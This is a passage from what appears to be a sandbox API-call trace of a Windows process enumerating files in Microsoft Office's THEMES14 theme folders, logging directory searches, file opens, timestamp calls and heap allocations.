ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff5e0 [0061.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fe860 [0061.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.061] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.061] GetLastError () returned 0x12 [0061.061] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0061.061] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0061.061] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.061] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.061] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1 [0061.061] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0061.061] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.061] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.061] GetLastError () returned 0x12 [0061.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fdaf8) returned 1 [0061.062] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0061.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fdc00) returned 1 [0061.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0061.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0061.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.062] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0061.062] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0061.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa00430 [0061.062] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa00430, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa00430, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0061.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa00430) returned 1 [0061.062] NtClose (Handle=0x16c) returned 0x0 [0061.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0061.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fdc00 [0061.063] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0061.063] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.063] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fdaf8 [0061.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff600 [0061.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fe968 [0061.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.063] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1 [0061.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff620 [0061.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fea70 [0061.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.064] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0061.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff640 [0061.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9feb78 [0061.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.064] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff660 [0061.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fec80 [0061.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.064] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.064] GetLastError () returned 0x12 [0061.064] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0061.064] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0061.065] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.065] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.065] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1 [0061.065] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0061.065] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.065] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.065] GetLastError () returned 0x12 [0061.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fdc00) returned 1 [0061.065] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0061.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fdaf8) returned 1 [0061.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0061.065] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0061.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.065] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0061.422] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0061.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa00430 [0061.422] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa00430, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa00430, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0061.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa00430) returned 1 [0061.423] NtClose (Handle=0x160) returned 0x0 [0061.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0061.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fdaf8 [0061.423] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0061.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fdc00 [0061.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff680 [0061.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fed88 [0061.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1 [0061.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff6a0 [0061.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fee90 [0061.424] RtlAllocateHeap 